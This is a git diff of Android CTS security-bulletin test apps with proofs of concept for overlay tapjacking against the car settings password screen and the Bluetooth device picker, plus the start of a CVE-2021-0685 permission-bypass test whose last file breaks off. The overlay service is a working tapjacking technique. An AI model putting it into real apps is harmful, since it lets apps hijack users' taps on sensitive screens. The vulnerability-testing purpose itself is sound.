a/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml new file mode 100644 index 00000000000..b749d8e2a37 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml @@ -0,0 +1,48 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.BUG_183613671" + minSdkVersion="29"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application android:theme="@style/Theme.AppCompat.Light"> + <uses-library android:name="android.test.runner" /> + <service android:name=".OverlayService" + android:enabled="true" + android:exported="false" /> + + <activity + android:name=".MainActivity" + android:label="ST (Permission)" + android:exported="true" + android:taskAffinity="android.security.cts.BUG_183613671.MainActivity"> + + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.BUG_183613671" /> + +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml new file mode 100644 index 00000000000..0ac0cf489f4 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<RelativeLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:gravity="left" + tools:context=".MainActivity" > + + <LinearLayout + android:id="@+id/linearLayout1" + android:layout_width="fill_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/seekShowTimes" + android:layout_centerHorizontal="true" + android:layout_marginTop="53dp" + android:orientation="horizontal" > + + <Button + android:id="@+id/btnStart" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="Start" /> + + </LinearLayout> + +</RelativeLayout> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml new file mode 100644 index 00000000000..018e7fee76d --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml @@ -0,0 +1,21 @@ +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> + +<resources> + <string name="app_name">BUG_183613671</string> + <string name="app_description">This is an overlay-activity</string> + <string name="tapjacking_text">BUG_183613671 overlay text</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java new file mode 100644 index 00000000000..eaa58b8d361 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java @@ -0,0 +1,25 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_183613671; + +final class Constants { + + public static final String LOG_TAG = "BUG-183613671"; + public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName(); + + public static final String ACTION_START_TAPJACKING = "BUG_183613671.start_tapjacking"; +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java new file mode 100644 index 00000000000..d81bb954b6e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java @@ -0,0 +1,129 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_183613671; + +import static android.security.cts.BUG_183613671.Constants.LOG_TAG; + +import org.junit.Before; +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; +import java.util.List; +import java.util.stream.Collectors; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.util.Log; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertNotNull; + +/** Basic sample for unbundled UiAutomator. */ +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final long WAIT_FOR_UI_TIMEOUT = 20_000; + + private Context mContext; + private UiDevice mDevice; + + @Before + public void setUp() throws Exception { + Log.d(LOG_TAG, "startMainActivityFromHomeScreen()"); + + mContext = getApplicationContext(); + + // If the permission is not granted, the app will not be able to show an overlay dialog. + // This is required for the test below. + // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail. + assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!", + mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"), + PackageManager.PERMISSION_GRANTED); + + // Initialize UiDevice instance + mDevice = UiDevice.getInstance(getInstrumentation()); + if (!mDevice.isScreenOn()) { + mDevice.wakeUp(); + } + mDevice.pressHome(); + } + + @Test + public void testTapjacking() throws InterruptedException { + Log.d(LOG_TAG, "Starting tap-jacking test"); + + launchTestApp(); + + launchTapjackedActivity(); + + mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING)); + Log.d(LOG_TAG, "Sent intent to start tap-jacking!"); + + UiObject2 overlay = waitForView(By.text("BUG_183613671 OVERLAY TEXT")); + assertNull("Tap-jacking successful. Overlay was displayed.!", overlay); + } + + @After + public void tearDown() { + mDevice.pressHome(); + } + + private void launchTestApp() { + Intent intent = mContext.getPackageManager().getLaunchIntentForPackage( + Constants.TEST_APP_PACKAGE); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + mContext.startActivity(intent); + + // Wait for the app to appear + UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0)); + assertNotNull("test-app did not appear!", view); + Log.d(LOG_TAG, "test-app appeared"); + } + + private void launchTapjackedActivity() { + Intent intent = new Intent(); + intent.setAction("android.car.settings.SCREEN_LOCK_ACTIVITY"); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK); + mContext.startActivity(intent); + + UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0)); + assertNotNull("Activity under-test was not launched or found!", activityInstance); + + UiObject2 textView = waitForView(By.res("com.android.car.settings", "password_entry")); + assertNotNull("Password confirmation screen was not launched or found!", textView); + textView.setText("test1234"); + mDevice.pressEnter(); + + Log.d(LOG_TAG, "Started Activity under-test."); + } + + private UiObject2 waitForView(BySelector selector) { + return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java new file mode 100644 index 00000000000..59de10faa3e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package android.security.cts.BUG_183613671; + +import static android.security.cts.BUG_183613671.Constants.LOG_TAG; + +import android.app.AlertDialog; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.util.Log; +import android.view.Gravity; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; +import android.widget.ImageView; +import android.widget.SeekBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import java.util.ArrayList; + +/** Main activity for the test-app. */ +public final class MainActivity extends AppCompatActivity { + + private final BroadcastReceiver mReceiver = new BroadcastReceiver() { + public void onReceive(Context context, Intent intent) { + startTapjacking(); + } + }; + + private Button btnStart; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + + registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING)); + + btnStart = (Button) findViewById(R.id.btnStart); + btnStart.setOnClickListener(v -> startTapjacking()); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + unregisterReceiver(mReceiver); + stopOverlayService(); + } + + public void startTapjacking() { + Log.d(LOG_TAG, "Starting tap-jacking flow."); + stopOverlayService(); + + startOverlayService(); + Log.d(LOG_TAG, "Started overlay-service."); + } + + private void startOverlayService() { + startService(new Intent(getApplicationContext(), OverlayService.class)); + } + + private void stopOverlayService() { + stopService(new Intent(getApplicationContext(), OverlayService.class)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java new file mode 100644 index 00000000000..955aac43894 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java @@ -0,0 +1,95 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_183613671; + +import android.app.Service; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.Handler; +import android.os.IBinder; +import android.os.Looper; +import android.provider.Settings; +import android.util.DisplayMetrics; +import android.util.Log; +import android.view.Gravity; +import android.view.WindowManager; +import android.widget.Button; + +/** Service that starts the overlay for the test. */ +public final class OverlayService extends Service { + public Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + @Override + public void onCreate() { + Log.d(Constants.LOG_TAG, "onCreate() called"); + super.onCreate(); + + DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics(); + int scaledWidth = (int) (displayMetrics.widthPixels * 0.9); + int scaledHeight = (int) (displayMetrics.heightPixels * 0.9); + + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.CENTER; + mLayoutParams.width = scaledWidth; + mLayoutParams.height = scaledHeight; + mLayoutParams.x = scaledWidth / 2; + mLayoutParams.y = scaledHeight / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + Log.d(Constants.LOG_TAG, "onStartCommand() called"); + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + Log.d(Constants.LOG_TAG, "onDestroy() called"); + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + if (!Settings.canDrawOverlays(this)) { + Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied"); + } + + mButton = new Button(getApplicationContext()); + mButton.setText(getResources().getString(R.string.tapjacking_text)); + mButton.setTag(mButton.getVisibility()); + mWindowManager.addView(mButton, mLayoutParams); + + new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000); + Log.d(Constants.LOG_TAG, "Floating window created"); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java index 108eaf88ccd..b2dc9b816ac 100644 --- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java @@ -57,11 +57,11 @@ public class DeviceTest { mContext = getApplicationContext(); - // If the permission is not granted, the app will show up in the Usage Access Settings. + // If the permission is not granted, the app will not be able to show an overlay dialog. // This is required for the test below. // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail. - assertEquals("Permission PACKAGE_USAGE_STATS not granted!", - mContext.checkSelfPermission("android.permission.PACKAGE_USAGE_STATS"), + assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!", + mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"), PackageManager.PERMISSION_GRANTED); // Initialize UiDevice instance diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java index 8e315c094ca..73c8e10e005 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java @@ -19,14 +19,14 @@ package android.security.cts.cve_2021_0586; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; -import android.os.SystemClock; +import android.net.Uri; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.By; import androidx.test.uiautomator.BySelector; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.Until; +import java.io.IOException; import java.util.regex.Pattern; -import org.junit.After; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @@ -34,18 +34,33 @@ import org.junit.Test; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNull; @RunWith(AndroidJUnit4.class) public class DeviceTest { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; + private static final String TEST_PKG_BT = "com.android.settings"; private static final int LAUNCH_TIMEOUT_MS = 20000; private UiDevice mDevice; + String activityDump = ""; + + public void startDevicePickerActivity() { + Context context = getApplicationContext(); + Intent sharingIntent = new Intent(Intent.ACTION_SEND); + assertNotNull(sharingIntent); + sharingIntent.setType("image/*"); + sharingIntent.setPackage("com.android.bluetooth"); + Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586" + + "/drawable/cve_2021_0586.png"); + assertNotNull(uri); + sharingIntent.putExtra(Intent.EXTRA_STREAM, uri); + Intent intent = Intent.createChooser(sharingIntent, "Share image"); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } @Before public void startMainActivityFromHomeScreen() { mDevice = UiDevice.getInstance(getInstrumentation()); - mDevice.pressHome(); Context context = getApplicationContext(); assertNotNull(context); PackageManager packageManager = context.getPackageManager(); @@ -53,23 +68,38 @@ public class DeviceTest { final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); assertNotNull(intent); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ context.startActivity(intent); - mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS); - } - - @After - public void lastOperation() { - SystemClock.sleep(LAUNCH_TIMEOUT_MS); - } - - @Test - public void testClick() { Pattern pattern = Pattern.compile( getApplicationContext().getResources().getString(R.string.overlay_button), Pattern.CASE_INSENSITIVE); - BySelector selector = By.text(pattern); + /* Wait for the overlay window */ + if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Start the DevicePickerActivity */ + startDevicePickerActivity(); + } + + @Test + public void testOverlayButtonPresence() { + BySelector selector = By.pkg(TEST_PKG_BT); + /* Wait for an object of DevicePickerActivity */ + if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Check if the currently running activity is DevicePickerActivity */ + try { + activityDump = mDevice.executeShellCommand("dumpsys activity"); + } catch (IOException e) { + throw new RuntimeException("Could not execute dumpsys activity command"); + } + Pattern activityPattern = Pattern.compile("mResumedActivity.*DevicePickerActivity.*\n"); + if (!activityPattern.matcher(activityDump).find()) { + return; + } String message = "Device is vulnerable to b/182584940 hence any app with " + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen"; - assertNull(message, mDevice.findObject(selector)); + assertNotNull(message, mDevice.findObject(selector)); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java index e242a4eba2d..11fd02c2351 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/PocActivity.java @@ -17,20 +17,11 @@ package android.security.cts.cve_2021_0586; import android.app.Activity; -import android.content.Context; import android.content.Intent; -import android.net.Uri; import android.os.Bundle; -import android.os.Environment; -import android.os.Handler; -import android.os.PowerManager; -import android.os.PowerManager.WakeLock; import android.provider.Settings; -import android.view.View; public class PocActivity extends Activity { - private WakeLock mScreenLock; - private Context mContext; private void startOverlayService() { if (Settings.canDrawOverlays(this)) { @@ -53,32 +44,8 @@ public class PocActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { - mContext = this.getApplicationContext(); - PowerManager pm = mContext.getSystemService(PowerManager.class); - mScreenLock = pm.newWakeLock( - PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, - "PocActivity"); - mScreenLock.acquire(); - try { - Thread.sleep(6000); - } catch (Exception e) { - e.printStackTrace(); - } super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); startOverlayService(); - Intent sharingIntent = new Intent(Intent.ACTION_SEND); - sharingIntent.setType("image/*"); - sharingIntent.setPackage("com.android.bluetooth"); - Uri uri = Uri.parse("android.resource://android.security.cts.CVE_2021_0586" - + "/drawable/cve_2021_0586.png"); - sharingIntent.putExtra(Intent.EXTRA_STREAM, uri); - startActivity(Intent.createChooser(sharingIntent, "Share image")); - } - - @Override - protected void onDestroy() { - super.onDestroy(); - mScreenLock.release(); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp new file mode 100644 index 00000000000..94c82758052 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0685", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml new file mode 100644 index 00000000000..f50846838ff --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml @@ -0,0 +1,51 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.cve_2021_0685" + android:targetSandboxVersion="2" + android:versionCode="1" + android:versionName="1.0"> + + <application + android:allowBackup="true" + android:label="CVE-2021-0685" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <activity android:name=".PocActivity" + android:taskAffinity="android.security.cts.cve_2021_0685.PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + <service android:exported="true" android:name=".PocAuthService"> + <intent-filter> + <action android:name="android.accounts.AccountAuthenticator" /> + </intent-filter> + <meta-data + android:name="android.accounts.AccountAuthenticator" + android:resource="@xml/authenticator" /> + </service> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0685" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml new file mode 100644 index 00000000000..0c5065c9fd0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:orientation="vertical" + android:id="@+id/parent" + android:background="#FFFFFF" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml new file mode 100644 index 00000000000..d9e0ab291bd --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml @@ -0,0 +1,20 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<account-authenticator + xmlns:android="http://schemas.android.com/apk/res/android" + android:accountType="android.security.cts.cve_2021_0685.account" + android:label="CVE-2021-0685" /> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java new file mode 100644 index 00000000000..f5f29ed5094 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0685; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final String TEST_PKG = "android.security.cts.cve_2021_0685"; + private static final int LAUNCH_TIMEOUT_MS = 20000; + private UiDevice mDevice; + + @Before + public void startMainActivityFromHomeScreen() { + mDevice = UiDevice.getInstance(getInstrumentation()); + try { + mDevice.wakeUp(); + mDevice.pressMenu(); + mDevice.pressHome(); + } catch (Exception e) { + throw new RuntimeException("Could not wake up the phone", e); + } + Context context = getApplicationContext(); + assertNotNull(context); + PackageManager packageManager = context.getPackageManager(); + assertNotNull(packageManager); + final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); + assertNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startActivity(intent); + mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS); + } + + @Test + public void testPackageElementPresence() { + BySelector selector = By.pkg(TEST_PKG); + String message = "Device is vulnerable to b/191055353, indicating a permission" + + " bypass due to a possible parcel serialization/deserialization" + + " mismatch in ParsedIntentInfo.java"; + assertNotNull(message, mDevice.findObject(selector)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java new file mode 100644 index 00000000000..df2ee5ab88b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java @@ -0,0 +1,48 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0685; + 